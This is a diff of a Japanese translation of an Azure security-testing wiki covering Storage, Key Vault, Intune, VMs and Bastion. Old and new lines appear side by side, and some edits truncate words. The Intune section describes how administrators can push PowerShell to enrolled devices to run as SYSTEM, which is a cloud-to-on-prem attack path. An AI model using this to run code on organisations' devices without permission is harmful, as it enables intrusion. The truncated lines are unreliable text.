- **コピー操作の許可されたスコープ**: すべてのストレージアカウントから、同じEntraテナントのすべてのストレージアカウントから、または同じ仮想ネットワーク内のプライベートエンドポイントを持つストレージアカウントからのアクセスを許可します。
- **コピー操作の許可されたスコープ**: すべてのストレージアカウントから、同じEntraテナントのすべてのストレージアカウントから、または同じ仮想ネットワーク内のプライベートエンドポイントを持つストレージアカウントから許可します。
**Blobストレージオプション**:
@@ -53,7 +53,7 @@ Azureストレージアカウントは、Microsoft Azureの基本的なサービ
### ストレージエンドポイント
<table data-header-hidden><thead><tr><th width="197">ストレージサービス</th><th>エンドポイント</th></tr></thead><tbody><tr><td><strong>Blobストレージ</strong></td><td><code>https://&#x3C;storage-account>.blob.core.windows.net</code><br><br><code>https://&#x3C;stg-acc>.blob.core.windows.net/&#x3C;container-name>?restype=container&#x26;comp=list</code></td></tr><tr><td><strong>データレイクストレージ</strong></td><td><code>https://&#x3C;storage-account>.dfs.core.windows.net</code></td></tr><tr><td><strong>Azureファイル</strong></td><td><code>https://&#x3C;storage-account>.file.core.windows.net</code></td></tr><tr><td><strong>キューストレージ</strong></td><td><code>https://&#x3C;storage-account>.queue.core.windows.net</code></td></tr><tr><td><strong>テーブルストレージ</strong></td><td><code>https://&#x3C;storage-account>.table.core.windows.net</code></td></tr></tbody></table>
<table data-header-hidden><thead><tr><th width="197">ストレージサービス</th><th>エンドポイント</th></tr></thead><tbody><tr><td><strong>Blobストレージ</strong></td><td><code>https://&#x3C;storage-account>.blob.core.windows.net</code><br><br><code>https://&#x3C;stg-acc>.blob.core.windows.net/&#x3C;container-name>?restype=container&#x26;comp=list</code></td></tr><tr><td><strong>データレイクストレージ</strong></td><td><code>https://&#x3C;storage-account>.dfs.core.windows.net</code></td></tr><tr><td><strong>Azure Files</strong></td><td><code>https://&#x3C;storage-account>.file.core.windows.net</code></td></tr><tr><td><strong>キューストレージ</strong></td><td><code>https://&#x3C;storage-account>.queue.core.windows.net</code></td></tr><tr><td><strong>テーブルストレージ</strong></td><td><code>https://&#x3C;storage-account>.table.core.windows.net</code></td></tr></tbody></table>
### 公開露出
@@ -73,11 +73,11 @@ Azureストレージアカウントは、Microsoft Azureの基本的なサービ
### RBAC
ストレージアカウントにアクセスするために、**RBACロール**を使用してEntra IDプリンシパルを使用することが可能であり、推奨される方法です。
ストレージアカウントにアクセスするために、**RBACロール**を使用してEntra IDプリンシパルを使用することが可能で、推奨される方法です。
### アクセスキー
ストレージアカウントにはアクセスするために使用できるアクセスキーがあります。これにより、ストレージアカウントへの**完全なアクセス**が提供されます。
ストレージアカウントにはアクセスキーがあり、これを使用してアクセスできます。これにより、ストレージアカウントへの**完全なアクセス**が提供されます。
<figure><img src="../../../images/image (5).png" alt=""><figcaption></figcaption></figure>
@@ -89,9 +89,9 @@ Azureストレージアカウントは、Microsoft Azureの基本的なサービ
> `CanonicalizedResource`部分は、ストレージサービスリソース(URI)を表します。URLの任意の部分がエンコードされている場合、`CanonicalizedResource`内でもエンコードする必要があります。
> [!NOTE]
> これは**デフォルトで`az` cliによって使用されます**。Entra IDプリンシパルの資格情報を使用するには、パラメータ`--auth-mode login`を指定します。
> これは**デフォルトで`az` cliによって使用され**、リクエストを認証します。Entra IDプリンシパルの資格情報を使用するには、パラメータ`--auth-mode login`を指定します。
- **Blob、キュー、ファイルサービスのための共有キーを生成**することが可能です。次の情報に署名します:
- Blob、キュー、ファイルサービスの**共有キーを生成する**ことが可能で次の情報に署名します
```bash
StringToSign = VERB + "\n" +
Content-Encoding + "\n" +
@@ -108,7 +108,7 @@ Range + "\n" +
CanonicalizedHeaders +
CanonicalizedResource;
```
- テーブルサービス**共有キー**を生成することが可能です。次の情報署名します:
- **テーブルサービス**のための共有キーを生成することは、以下の情報署名することで可能です:
```bash
StringToSign = VERB + "\n" +
Content-MD5 + "\n" +
@@ -116,7 +116,7 @@ Content-Type + "\n" +
Date + "\n" +
CanonicalizedResource;
```
- **Blob、キュー、およびファイルサービス**のための**ライト共有キー**を生成することが可能で、以下の情報に署名します
- **Blob、キュー、ファイルサービス**のための**ライト共有キー**を生成することが可能であり、以下の情報に署名します:
```bash
StringToSign = VERB + "\n" +
Content-MD5 + "\n" +
@@ -125,12 +125,12 @@ Date + "\n" +
CanonicalizedHeaders +
CanonicalizedResource;
```
- テーブルサービスのための**ライト共有キー**を生成することが可能で、以下の情報に署名します:
- **テーブルサービス**のための**ライト共有キー**を生成すること、以下の情報に署名することで可能です:
```bash
StringToSign = Date + "\n"
CanonicalizedResource
```
次に、キーを使用するには、次の構文に従ってAuthorizationヘッダーに記述できます:
次に、キーを使用するには、次の構文に従ってAuthorizationヘッダーで行うことができます
```bash
Authorization="[SharedKey|SharedKeyLite] <AccountName>:<Signature>"
#e.g.
@@ -142,13 +142,13 @@ x-ms-date: Fri, 26 Jun 2015 23:39:12 GMT
Authorization: SharedKey myaccount:ctzMq410TV3wS7upTBcunJTDLEJwMAZuFPfr0mrrA08=
Content-Length: 0
```
### **Shared Access Signature** (SAS)
### **共有アクセス署名** (SAS)
Shared Access Signatures (SAS) は、Azure Storage アカウント内のリソースにアクセスするための特定の権限を付与する**安全で時間制限のある URL**す。アクセスキーはすべてのリソースへの完全な管理アクセスを提供しますが、SAS は権限(読み取りや書き込みなど)を指定し、期限を定義することで細かい制御を可能にします。
共有アクセス署名 (SAS) は、Azure Storage アカウント内のリソースにアクセスするための特定の権限を付与する**安全で時間制限のある URL** であり、アカウントのアクセスキーを公開することなく使用できます。アクセスキーはすべてのリソースに対する完全な管理アクセスを提供しますが、SAS は権限(読み取りや書き込みなど)を指定し、期限を定義することで細かい制御を可能にします。
#### SAS タイプ
#### SAS の種類
- **ユーザー委任 SAS**: これは **Entra ID プリンシパル** から作成され、SAS に署名し、ユーザーから SAS への権限を委任します。これは **blob およびデータレイクストレージ** でのみ使用できます ([docs](https://learn.microsoft.com/en-us/rest/api/storageservices/create-user-delegation-sas))。生成されたすべてのユーザー委任 SAS を **取り消す** ことが可能です。
- **ユーザー委任 SAS**: これは **Entra ID プリンシパル** から作成され、SAS に署名し、ユーザーから SAS への権限を委任します。**Blob およびデータレイクストレージ** でのみ使用できます ([docs](https://learn.microsoft.com/en-us/rest/api/storageservices/create-user-delegation-sas))。生成されたすべてのユーザー委任 SAS を **取り消す** ことが可能です。
- ユーザーが持っている権限よりも「多くの」権限を持つ委任 SAS を生成することは可能ですが、プリンシパルがそれらの権限を持っていない場合は機能しません(権限昇格はありません)。
- **サービス SAS**: これはストレージアカウントの **アクセスキー** のいずれかを使用して署名されます。特定のリソースへのアクセスを単一のストレージサービスに付与するために使用できます。キーが更新されると、SAS は機能しなくなります。
- **アカウント SAS**: これもストレージアカウントの **アクセスキー** のいずれかで署名されます。ストレージアカウントサービス(Blob、Queue、Table、File)全体のリソースへのアクセスを付与し、サービスレベルの操作を含むことができます。
@@ -169,22 +169,22 @@ Shared Access Signatures (SAS) は、Azure Storage アカウント内のリソ
#### SAS 権限
SAS を生成する際には、付与すべき権限を示す必要があります。SAS が生成されるオブジェクトに応じて、異なる権限が含まれる場合があります。例えば:
SAS を生成する際には、付与すべき権限を示す必要があります。SAS が生成されるオブジェクトによって、異なる権限が含まれる場合があります。例えば:
- (a)dd, (c)reate, (d)elete, (e)xecute, (f)ilter_by_tags, (i)set_immutability_policy, (l)ist, (m)ove, (r)ead, (t)ag, (w)rite, (x)delete_previous_version, (y)permanent_delete
## SFTP サポート for Azure Blob Storage
## Azure Blob Storage の SFTP サポート
Azure Blob Storage は現在、SSH ファイル転送プロトコル (SFTP) をサポートしており、カスタムソリューションやサードパーティ製品を必要とせずに、Blob Storage への安全なファイル転送と管理を可能にします。
### 主な機能
- プロトコルサポート: SFTP は階層名前空間 (HNS) で構成された Blob Storage アカウントで動作します。これにより、Blob をディレクトリおよびサブディレクトリに整理し、ナビゲーションを容易にします。
- セキュリティ: SFTP は認証のためにローカルユーザーのアイデンティティを使用し、RBAC や ABAC とは統合されていません。各ローカルユーザーは次の方法で認証できます:
- プロトコルサポート: SFTP は階層名前空間 (HNS) で構成された Blob Storage アカウントで機能します。これにより、Blob をディレクトリおよびサブディレクトリに整理し、ナビゲーションを容易にします。
- セキュリティ: SFTP は認証のためにローカルユーザーのアイデンティティを使用し、RBAC や ABAC とは統合されません。各ローカルユーザーは次の方法で認証できます:
- Azure 生成のパスワード
- 公開鍵-秘密鍵の SSH キーペア
- 細かい権限: 読み取り、書き込み、削除、リストなどの権限を最大 100 のコンテナに対してローカルユーザーに割り当てることができます。
- ネットワークの考慮事項: SFTP 接続はポート 22 を通じて行われます。Azure はファイアウォール、プライベートエンドポイント、または仮想ネットワークなどのネットワーク構成をサポートし、SFTP トラフィックを保護します。
- ネットワークの考慮事項: SFTP 接続はポート 22 を通じて行われます。Azure は、SFTP トラフィックを保護するためにファイアウォール、プライベートエンドポイント、または仮想ネットワークなどのネットワーク構成をサポートしています。
### セットアップ要件
@@ -193,7 +193,7 @@ Azure Blob Storage は現在、SSH ファイル転送プロトコル (SFTP) を
- SFTP 設定:
- ストレージアカウントで SFTP を有効にします。
- 適切な権限を持つローカルユーザーのアイデンティティを作成します。
- ユーザーのホームディレクトリを設定し、コンテナ内の開始位置を定義します。
- ユーザーのホームディレクトリを設定し、コンテナ内の開始位置を定義します。
### 権限
@@ -402,7 +402,7 @@ az-file-shares.md
../az-privilege-escalation/az-storage-privesc.md
{{#endref}}
## ポストエクスプロイテーション
## ポストエクスプロイ
{{#ref}}
../az-post-exploitation/az-blob-storage-post-exploitation.md
@@ -6,23 +6,23 @@
**Azure Table Storage** は、大量の構造化された非リレーショナルデータを保存するために設計された NoSQL キー-バリューストアです。高い可用性、低遅延、およびスケーラビリティを提供し、大規模なデータセットを効率的に処理します。データはテーブルに整理され、各エンティティはパーティションキーと行キーによって識別され、迅速な検索を可能にします。データは静止時の暗号化、ロールベースのアクセス制御、および安全で管理されたストレージのための共有アクセス署名などの機能をサポートしており、幅広いアプリケーションに適しています。
テーブルストレージには**組み込みのバックアップメカニズム**はありません。
テーブルストレージには**組み込みのバックアップメカニズムはありません**
### キー
#### **PartitionKey**
- **PartitionKey はエンティティを論理パーティションにグループ化します**。同じ PartitionKey を持つエンティティは一緒に保存され、クエリパフォーマンスとスケーラビリティが向上します。
- 例: 従業員データを保存するテーブルでは、`PartitionKey` は部門を表すことがあります。例えば、`"HR"` または `"IT"`
- 例: 従業員データを保存するテーブルでは、`PartitionKey` は部門を表すことがあります。例: `"HR"` または `"IT"`
#### **RowKey**
- **RowKey はパーティション内のエンティティの一意の識別子**です。PartitionKey と組み合わせることで、テーブル内の各エンティティがグローバルに一意の識別子を持つことを保証します。
- 例: `"HR"` パーティションの場合、`RowKey` は従業員 ID であることがあります。例えば、`"12345"`
- **RowKey はパーティション内のエンティティの一意の識別子です**。PartitionKey と組み合わせることで、テーブル内の各エンティティがグローバルに一意の識別子を持つことを保証します。
- 例: `"HR"` パーティションの場合、`RowKey` は従業員 ID である可能性があります。例: `"12345"`
#### **その他のプロパティ (カスタムプロパティ)**
- PartitionKey と RowKey に加えて、エンティティはデータを保存するための追加の**カスタムプロパティ**を持つことができます。これらはユーザー定義であり、従来のデータベースの列のように機能します。
- PartitionKey と RowKey に加えて、エンティティはデータを保存するための追加の**カスタムプロパティを持つことができます**。これらはユーザー定義であり、従来のデータベースの列のように機能します。
- プロパティは**キー-バリューペア**として保存されます。
- 例: `Name``Age``Title` は従業員のカスタムプロパティである可能性があります。
@@ -4,12 +4,12 @@
## 基本情報
Microsoft Intuneは、**アプリとデバイス管理**プロセスを効率化するように設計されています。その機能は、モバイルデバイス、デスクトップコンピュータ、仮想エンドポイントを含む多様なデバイスにわたります。Intuneのコア機能は、**ユーザーアクセスの管理と、組織のネットワーク内でのアプリケーション**およびデバイスの管理を簡素化することにあります。
Microsoft Intuneは、**アプリとデバイス管理**プロセスを効率化するように設計されています。その機能は、モバイルデバイス、デスクトップコンピュータ、仮想エンドポイントを含む多様なデバイスにわたります。Intuneのコア機能は、**ユーザーアクセスの管理と、組織のネットワーク内でのアプリケーション**およびデバイスの管理を簡素化することにあります。
## クラウド -> オンプレミス
**グローバル管理者**または**Intune管理者**の役割を持つユーザーは、任意の**登録されたWindows**デバイスで**PowerShell**スクリプトを実行できます。\
**スクリプト**は、変更がない限りデバイス上で**SYSTEM**の**特権**で一度だけ実行され、Intuneからは**スクリプトの出力を確認することはできません**
**スクリプト**は、変更がない場合にのみデバイス上で**SYSTEM**の**特権**で一度実行され、Intuneからは**スクリプトの出力を確認することはできません**
```powershell
Get-AzureADGroup -Filter "DisplayName eq 'Intune Administrators'"
```
@@ -20,7 +20,7 @@ Get-AzureADGroup -Filter "DisplayName eq 'Intune Administrators'"
- ![](<../../../images/image (264).png>)
5. **割り当て**ページで**すべてのユーザーを追加**および**すべてのデバイスを追加**を指定します。
スクリプトの実行には最大で**1時間**かかる場合があります。
スクリプトの実行には**最大1時間**かかる場合があります。
## 参考文献
@@ -4,35 +4,35 @@
## 基本情報
**Azure Key Vault**は、Microsoft Azureが提供するクラウドサービスで、**シークレット、キー、証明書、パスワード**などの機密情報を安全に保存および管理します。これは中央集権的なリポジトリとして機能し、Azure Active Directory (Azure AD)を使用して安全なアクセスと細かな制御を提供します。セキュリティの観点から、Key Vaultは暗号鍵のための**ハードウェアセキュリティモジュール (HSM) 保護**を提供し、シークレットが静止時および転送中に暗号化されることを保証し、**ロールベースのアクセス制御 (RBAC)**およびポリシーを通じて堅牢なアクセス管理を提供します。また、**監査ログ**、アクセス追跡のためのAzure Monitorとの統合、および長期間の鍵露出からのリスクを軽減するための自動鍵ローテーション機能も備えています。
**Azure Key Vault**は、Microsoft Azureが提供するクラウドサービスで、**シークレット、キー、証明書、パスワード**などの機密情報を安全に保存および管理します。これは中央集権的なリポジトリとして機能し、Azure Active Directory (Azure AD)を使用して安全なアクセスと細かな制御を提供します。セキュリティの観点から、Key Vaultは暗号鍵のための**ハードウェアセキュリティモジュール (HSM) 保護**を提供し、シークレットが静止時および転送中に暗号化されることを保証し、**ロールベースのアクセス制御 (RBAC)**およびポリシーを通じて堅牢なアクセス管理を提供します。また、**監査ログ**、アクセス追跡のためのAzure Monitorとの統合、および長期間の鍵露出によるリスクを軽減するための自動鍵ローテーション機能も備えています。
完全な詳細については、[Azure Key Vault REST APIの概要](https://learn.microsoft.com/en-us/azure/key-vault/general/about-keys-secrets-certificates)を参照してください。
[**ドキュメント**](https://learn.microsoft.com/en-us/azure/key-vault/general/basic-concepts)によると、VaultはソフトウェアおよびHSMバックのキー、シークレット、証明書の保存をサポートしています。管理されたHSMプールはHSMバックのキーのみをサポートします。
[**ドキュメント**](https://learn.microsoft.com/en-us/azure/key-vault/general/basic-concepts)によると、VaultはソフトウェアおよびHSMバックの、シークレット、証明書の保存をサポートしています。管理されたHSMプールはHSMバックののみをサポートします。
**ボールト**の**URL形式**は`https://{vault-name}.vault.azure.net/{object-type}/{object-name}/{object-version}`で、管理されたHSMプールの場合は`https://{hsm-name}.managedhsm.azure.net/{object-type}/{object-name}/{object-version}`です。
ここで:
- `vault-name`キー ボールトのグローバルに**一意**な名前です。
- `vault-name`ボールトのグローバルに**ユニーク**な名前です。
- `object-type`は「keys」、「secrets」または「certificates」です。
- `object-name`キー ボールト内の**一意**なオブジェクト名です。
- `object-version`はシステム生成され、**オブジェクトの一意のバージョン**を指定するためにオプションで使用されます。
- `object-name`ボールト内の**ユニーク**なオブジェクト名です。
- `object-version`はシステム生成され、**オブジェクトのユニークなバージョン**を指定するためにオプションで使用されます。
ボールトに保存されたシークレットにアクセスするためには、ボールト作成する際に2つの権限モデルのいずれかを選択できます:
ボールトに保存されたシークレットにアクセスするためには、ボールト作成に2つの権限モデルのいずれかを選択できます:
- **ボールトアクセスポリシー**
- **Azure RBAC**(最も一般的で推奨される)
- サポートされているすべての詳細な権限は[https://learn.microsoft.com/en-us/azure/role-based-access-control/permissions/security#microsoftkeyvault](https://learn.microsoft.com/en-us/azure/role-based-access-control/permissions/security#microsoftkeyvault)で確認できます。
- サポートされているすべての詳細な権限は[https://learn.microsoft.com/en-us/azure/role-based-access-control/permissions/security#microsoftkeyvault](https://learn.microsoft.com/en-us/azure/role-based-access-control/permissions/security#microsoftkeyvault)で確認できます。
### アクセス制御 <a href="#access-control" id="access-control"></a>
Key Vaultリソースへのアクセスは、2つのプレーンによって制御されます:
- **管理プレーン**、そのターゲットは[management.azure.com](http://management.azure.com/)です。
- これはキー ボールトと**アクセスポリシー**を管理するために使用されます。Azureロールベースのアクセス制御(**RBAC**)のみがサポートされています。
- これはボールトと**アクセスポリシー**を管理するために使用されます。Azureロールベースのアクセス制御(**RBAC**)のみがサポートされています。
- **データプレーン**、そのターゲットは**`<vault-name>.vault.azure.com`**です。
- これはキー ボールト内の**データ**キー、シークレット、証明書)を管理およびアクセスするために使用されます。これには**キー ボールトアクセスポリシー**またはAzure **RBAC**がサポートされています。
- これは**鍵ボールト内のデータ**、シークレット、証明書)を管理およびアクセスするために使用されます。これには**ボールトアクセスポリシー**またはAzure **RBAC**がサポートされています。
**Contributor**のような役割は、アクセスポリシーを管理するための管理プレーンでの権限を持っているため、アクセスポリシーを変更することでシークレットにアクセスできます。
@@ -42,21 +42,21 @@ Key Vaultリソースへのアクセスは、2つのプレーンによって制
### ネットワークアクセス
Azure Key Vaultでは、**ファイアウォール**ルールを設定して、**指定された仮想ネットワークまたはIPv4アドレス範囲からのみデータプレーン操作を許可**することができます。この制限はAzure管理ポータルを通じたアクセスにも影響し、ログインIPアドレスが承認された範囲内でない場合、ユーザーはキー、シークレット、または証明書をキー ボールト内でリストすることができません。
Azure Key Vaultでは、**ファイアウォール**ルールを設定して、**指定された仮想ネットワークまたはIPv4アドレス範囲からのみデータプレーン操作を許可**することができます。この制限はAzure管理ポータルを通じたアクセスにも影響し、ログインIPアドレスが承認された範囲内でない場合、ユーザーは、シークレット、または証明書をボールト内でリストすることができません。
これらの設定を分析および管理するために、**Azure CLI**を使用できます:
```bash
az keyvault show --name name-vault --query networkAcls
```
The previous command will display the f**irewall settings of `name-vault`**, including enabled IP ranges and policies for denied traffic.
前のコマンドは`name-vault`**ファイアウォール設定**を表示し、有効なIP範囲と拒否されたトラフィックのポリシーを含みます。
Moreover, it's possible to create a **private endpoint** to allow a private connection to a vault.
さらに、**プライベートエンドポイント**を作成して、ボールトへのプライベート接続を許可することが可能です。
### 削除保護
When a key vault is created the minimum number of days to allow for deletion is 7. Which means that whenever you try to delete that key vault it'll need **at least 7 days to be deleted**.
キー ボールトが作成されると、削除を許可する最小日数は7日です。つまり、そのキー ボールトを削除しようとすると、**削除には少なくとも7日かかります**。
However, it's possible to create a vault with **purge protection disabled** which allow key vault and objects to be purged during retention period. Although, once this protection is enabled for a vault it cannot be disabled.
ただし、**パージ保護が無効**のボールトを作成することが可能で、保持期間中にキー ボールトとオブジェクトをパージできます。ただし、一度この保護がボールトに対して有効になると、無効にすることはできません。
## 列挙
@@ -167,7 +167,7 @@ done
../az-privilege-escalation/az-key-vault-privesc.md
{{#endref}}
## ポストエクスプロイテーション
## ポストエクスプロイ
{{#ref}}
../az-post-exploitation/az-key-vault-post-exploitation.md
@@ -4,7 +4,7 @@
## Azure ネットワーキング基本情報
Azure ネットワークには **異なるエンティティと構成方法が含まれています。** 様々な Azure ネットワークエンティティの **簡単な説明、** **例、** および **列挙** コマンドは以下にあります
Azure ネットワークには **異なるエンティティと構成方法が含まれています。** 様々な Azure ネットワークエンティティの **簡単な説明、** **例、** および **列挙** コマンドを見つけることができます:
{{#ref}}
az-azure-network.md
@@ -12,25 +12,25 @@ az-azure-network.md
## VMs 基本情報
Azure 仮想マシン (VMs) は、柔軟でオンデマンドの **クラウドベースのサーバーで、Windows または Linux オペレーティングシステムを実行できます。** 物理ハードウェアを管理することなく、アプリケーションやワークロードを展開できます。Azure VMs は、特定のニーズに応じてさまざまな CPU、メモリ、およびストレージオプションで構成でき、仮想ネットワーク、ストレージ、セキュリティツールなどの Azure サービスと統合できます。
Azure 仮想マシン (VMs) は、柔軟でオンデマンドの **クラウドベースのサーバーで、Windows または Linux オペレーティングシステムを実行できます。** 物理ハードウェアを管理することなく、アプリケーションやワークロードを展開できます。Azure VMs は、特定のニーズに応じてさまざまな CPU、メモリ、およびストレージオプションで構成でき、仮想ネットワーク、ストレージ、およびセキュリティツールなどの Azure サービスと統合できます。
### セキュリティ構成
- **可用性ゾーン**: 可用性ゾーンは、特定の Azure リージョン内の物理的に分離されたデータセンターの異なるグループで、ローカルの障害や災害による複数のゾーンへの影響のリスクを最小限に抑えます。
- **可用性ゾーン**: 可用性ゾーンは、特定の Azure リージョン内のデータセンターの異なるグループで、物理的に分離されており、複数のゾーンがローカルの障害や災害の影響を受けるリスクを最小限に抑えます。
- **セキュリティタイプ**:
- **標準セキュリティ**: これは特別な構成を必要としないデフォルトのセキュリティタイプです。
- **信頼できる起動**: このセキュリティタイプは、セキュアブートと仮想トラステッドプラットフォームモジュール (vTPM) を使用して、ブートキットやカーネルレベルのマルウェアに対する保護を強化します。
- **機密性の高い VMs**: 信頼できる起動に加えて、VM、ハイパーバイザー、およびホスト管理間のハードウェアベースの分離を提供し、ディスク暗号化を改善し、[**詳細**](https://learn.microsoft.com/en-us/azure/confidential-computing/confidential-vm-overview)**。**
- **信頼できる起動**: このセキュリティタイプは、Secure Boot と仮想トラステッドプラットフォームモジュール (vTPM) を使用して、ブートキットやカーネルレベルのマルウェアに対する保護を強化します。
- **機密 VM**: 信頼できる起動に加えて、VM、ハイパーバイザー、およびホスト管理間のハードウェアベースの分離を提供し、ディスク暗号化を改善し、[**詳細**](https://learn.microsoft.com/en-us/azure/confidential-computing/confidential-vm-overview)**。**
- **認証**: デフォルトでは新しい **SSH キーが生成されます**が、公開鍵を使用したり、以前のキーを使用したりすることも可能で、デフォルトのユーザー名は **azureuser** です。また、**パスワード**を使用するように構成することも可能です。
- **VM ディスク暗号化**: ディスクはデフォルトでプラットフォーム管理キーを使用して静止状態で暗号化されます。
- **ホストでの暗号化**を有効にすることも可能で、データはストレージサービスに送信する前にホストで暗号化され、ホストとストレージサービス間のエンドツーエンドの暗号化が保証されます ([**ドキュメント**](https://learn.microsoft.com/en-gb/azure/virtual-machines/disk-encryption#encryption-at-host---end-to-end-encryption-for-your-vm-data))
- **ホストでの暗号化**を有効にすることも可能で、データはストレージサービスに送信する前にホストで暗号化され、ホストとストレージサービス間のエンドツーエンドの暗号化が保証されます ([**ドキュメント**](https://learn.microsoft.com/en-gb/azure/virtual-machines/disk-encryption#encryption-at-host---end-to-end-encryption-for-your-vm-data)).
- **NIC ネットワークセキュリティグループ**:
- **なし**: 基本的にすべてのポートを開放します
- **基本**: HTTP (80)、HTTPS (443)、SSH (22)、RDP (3389) の受信ポートを簡単に開放できます
- **高度**: セキュリティグループを選択します
- **バックアップ**: **標準**バックアップ1日1回)および **強化**1日複数回を有効にすることが可能です
- **パッチオーケストレーションオプション**: 選択したポリシーに従ってVM に自動的にパッチを適用することを可能にします。詳細は[**ドキュメント**](https://learn.microsoft.com/en-us/azure/virtual-machines/automatic-vm-guest-patching)を参照してください。
- **アラート**: VM で何かが発生したときに、メールやモバイルアプリで自動的にアラートを受け取ることが可能です。デフォルトのルール
- **バックアップ**: **標準**バックアップ (1 日に 1 回) と **強化** (1 日に複数回) を有効にすることが可能です
- **パッチオーケストレーションオプション**: これは、選択したポリシーに従って VM に自動的にパッチを適用することを可能にします ([**ドキュメント**](https://learn.microsoft.com/en-us/azure/virtual-machines/automatic-vm-guest-patching)).
- **アラート**: VM で何かが発生したときに、メールやモバイルアプリで自動的にアラートを受け取ることが可能です。デフォルトのルール:
- CPU 使用率が 80% を超える
- 利用可能なメモリバイトが 1GB 未満
- データディスク IOPS 消費率が 95% を超える
@@ -39,19 +39,19 @@ Azure 仮想マシン (VMs) は、柔軟でオンデマンドの **クラウド
- ネットワークアウト合計が 200GB を超える
- VmAvailabilityMetric が 1 未満
- **ヘルスモニター**: デフォルトではポート 80 の HTTP プロトコルをチェックします
- **ロック**: VM をロックして、読み取り専用**ReadOnly** ロックまたは読み取りと更新は可能だが削除はできない**CanNotDelete** ロック状態にすることができます。
- VM に関連するリソースのほとんどは **ロックをサポート**していますディスク、スナップショットなど
- **ロック**: VM をロックして、読み取り専用 (**ReadOnly** ロック) または読み取りと更新は可能だが削除はできない (**CanNotDelete** ロック) 状態にすることができます。
- VM に関連するほとんどのリソース **ロックをサポート**しています (ディスク、スナップショットなど)
- ロックは **リソースグループおよびサブスクリプションレベル**でも適用できます。
## ディスクとスナップショット
- **2 つ以上の VM にディスクをアタッチすることを有効にする**ことが可能です
- デフォルトではすべてのディスクは **暗号化**されています。
- スナップショットでも同様です
- デフォルトでは**すべてのネットワークからディスクを共有する**ことが可能ですが、特定の **プライベートアクセス** のみに **制限**したり、**完全に無効**することも可能です。
- スナップショットでも同様です
- **ディスクをエクスポートするための SAS URI**最大 60 日間を **生成する**ことが可能で、認証を要求するように設定することもできます
- スナップショットでも同様です
- **2 つ以上の VM にディスクをアタッチすることを有効にする**ことが可能です
- デフォルトではすべてのディスクは **暗号化**されています。
- スナップショットでも同様です
- デフォルトでは **すべてのネットワークからディスクを共有する**ことが可能ですが、特定の **プライベートアクセス** のみに **制限**したり、 **公開およびプライベートアクセスを完全に無効**することも可能です。
- スナップショットでも同様です
- **ディスクをエクスポートするための SAS URI** (最大 60 日間) を **生成する**ことが可能で、認証を要求するように構成することもできます
- スナップショットでも同様です
{{#tabs}}
{{#tab name="az cli"}}
@@ -76,10 +76,10 @@ Get-AzDisk -Name <DiskName> -ResourceGroupName <ResourceGroupName>
## 画像、ギャラリー画像と復元ポイント
**VMイメージ**は、新しい仮想マシン(VM)**作成するために必要なオペレーティングシステム、アプリケーション設定、ファイルシステムを含むテンプレート**です。イメージとディスクスナップショットの違いは、ディスクスナップショットが単一の管理ディスクの読み取り専用の時点コピーであり、主にバックアップやトラブルシューティングに使用されるのに対し、イメージは**複数のディスクを含むことができ、新しいVMを作成するためのテンプレートとして機能するように設計されています**。\
イメージは、Azureの**イメージセクション**または**Azureコンピュートギャラリー**内で管理でき、これにより**バージョン**を生成したり、イメージをクロステナントで**共有**したり、さらには公開することも可能です。
**VMイメージ**は、**新しい仮想マシン(VM**作成するために必要なオペレーティングシステム、アプリケーション設定、およびファイルシステムを含むテンプレートです。イメージとディスクスナップショットの違いは、ディスクスナップショットが単一の管理ディスクの読み取り専用の時点コピーであり、主にバックアップやトラブルシューティングに使用されるのに対し、イメージは**複数のディスクを含むことができ、新しいVMを作成するためのテンプレートとして機能するように設計されています**。\
イメージは、Azureの**イメージセクション**または**Azureコンピュートギャラリー**内で管理でき、**バージョン**を生成したり、イメージをテナントで**共有**したり、さらには公開することもできます。
**復元ポイント**は、VMの構成と、VMに接続されているすべての管理ディスクの**時点でのアプリケーション整合性のあるスナップショット**を保存します。これはVMに関連しており、その目的は特定の時点でのVMを復元できるようにすることです。
**復元ポイント**は、VMの構成と**時点**でのアプリケーション整合性のある**すべての管理ディスクのスナップショット**を保存します。これはVMに関連しており、その目的は特定の時点でのVMを復元できるようにすることです。
{{#tabs}}
{{#tab name="az cli"}}
@@ -144,15 +144,15 @@ Get-AzRestorePointCollection -Name <CollectionName> -ResourceGroupName <Resource
## Azure Site Recovery
[**ドキュメント**](https://learn.microsoft.com/en-us/azure/site-recovery/site-recovery-overview)から: Site Recoveryは、障害時にビジネスアプリケーションとワークロードを稼働させることで、ビジネスの継続性を確保します。Site Recoveryは、物理および仮想マシン(VM)で稼働しているワークロードをプライマリサイトからセカンダリロケーションに**レプリケート**します。プライマリサイトで障害が発生した場合、セカンダリロケーションにフェイルオーバーし、そこからアプリにアクセスします。プライマリロケーションが再稼働した後、元に戻すことができます。
[**ドキュメント**](https://learn.microsoft.com/en-us/azure/site-recovery/site-recovery-overview)から: Site Recoveryは、障害時にビジネスアプリケーションとワークロードを稼働させ続けることで、ビジネスの継続性を確保します。Site Recoveryは、物理および仮想マシン(VM)で稼働しているワークロードをプライマリサイトからセカンダリロケーションに**レプリケート**します。プライマリサイトで障害が発生した場合、セカンダリロケーションにフェイルオーバーし、そこからアプリにアクセスします。プライマリロケーションが再稼働した後、元に戻すことができます。
## Azure Bastion
Azure Bastionは、Azureポータルまたはジャンプボックスを介して、仮想マシン(VM)への安全でシームレスな**リモートデスクトッププロトコル(RDP)**および**セキュアシェル(SSH)**アクセスを可能にします。これにより、VMに対する**パブリックIPアドレス必要性を排除**します
Azure Bastionは、Azure Portalまたはジャンプボックスを介して、仮想マシン(VM)への安全でシームレスな**リモートデスクトッププロトコル(RDP)**および**セキュアシェル(SSH)**アクセスを可能にします。これにより、VMに**パブリックIPアドレス必要としなくなります**
Bastionは、必要なVNetに`/26`のネットマスクを持つ**`AzureBastionSubnet`**というサブネットをデプロイします。次に、**ブラウザを介して内部VMに接続**することを可能にし、VMのポートをインターネットに公開することを避けます。また、**ジャンプホスト**としても機能します。
Bastionは、必要なVNetに`AzureBastionSubnet`という名前のサブネットを`/26`のネットマスクでデプロイします。次に、**ブラウザを介して内部VMに接続**することを可能にし、VMのポートをインターネットに公開することを避けます。また、**ジャンプホスト**としても機能します。
サブスクリプション内のすべてのAzure Bastionホストをリストし、それらを介してVMに接続するには、次のコマンドを使用できます
サブスクリプション内のすべてのAzure Bastionホストをリストし、それらを介してVMに接続するには、次のコマンドを使用できます:
{{#tabs}}
{{#tab name="az cli"}}
@@ -189,7 +189,7 @@ Get-AzBastion
## メタデータ
